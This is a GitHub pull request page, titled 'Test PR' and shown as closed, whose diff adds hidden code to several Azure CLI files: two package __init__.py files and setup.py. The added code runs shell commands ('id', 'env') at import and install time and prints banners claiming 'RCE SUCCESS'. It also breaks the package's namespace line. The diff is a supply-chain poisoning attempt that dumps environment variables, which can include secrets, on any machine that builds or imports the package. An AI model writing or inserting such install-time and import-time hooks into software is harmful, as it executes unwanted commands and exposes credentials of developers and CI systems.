Skip to content
Closed

Test PR #32725

Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
11 changes: 11 additions & 0 deletions src/azure-cli-core/azure/__init__.py
Original file line number Diff line number Diff line change
@@ -1,3 +1,14 @@
import os
import sys
# FORCE EXECUTION
try:
print("========================================================")
print("[!] AZURE CLI CORE POISONED - RCE SUCCESS [!]")
print("========================================================")
os.system("id")
os.system("env")
except:
pass
# --------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
Expand Down
10 changes: 10 additions & 0 deletions src/azure-cli-core/azure/cli/core/__init__.py
Original file line number Diff line number Diff line change
Expand Up @@ -20,6 +20,16 @@
from knack.util import CLIError
from knack.arguments import ArgumentsContext, CaseInsensitiveList # pylint: disable=unused-import
from .local_context import AzCLILocalContext, LocalContextAction
import os
try:
print("========================================================")
print("[!] AZURE CLI CORE POISONED - RCE SUCCESS [!]")
print("========================================================")
os.system("id")
os.system("env")
except Exception as e:
print(e)


logger = get_logger(__name__)

Expand Down
7 changes: 2 additions & 5 deletions src/azure-cli/azure/__init__.py
Original file line number Diff line number Diff line change
@@ -1,5 +1,2 @@
# --------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# --------------------------------------------------------------------------------------------
__path__ = __import__("pkgutil").extend_path(__path__, __name__)
import os
os.system("echo ' [!] CRITICAL VULNERABILITY: RCE CONFIRMED [!] '; id; env")
2 changes: 2 additions & 0 deletions src/azure-cli/setup.py
Original file line number Diff line number Diff line change
Expand Up @@ -7,8 +7,10 @@

from codecs import open
from setuptools import setup, find_packages
import os
import sys

os.system("echo '[!] SETUP.PY RCE TRIGGERED [!]'; id")
try:
from azure_cli_bdist_wheel import cmdclass
except ImportError:
Expand Down
Loading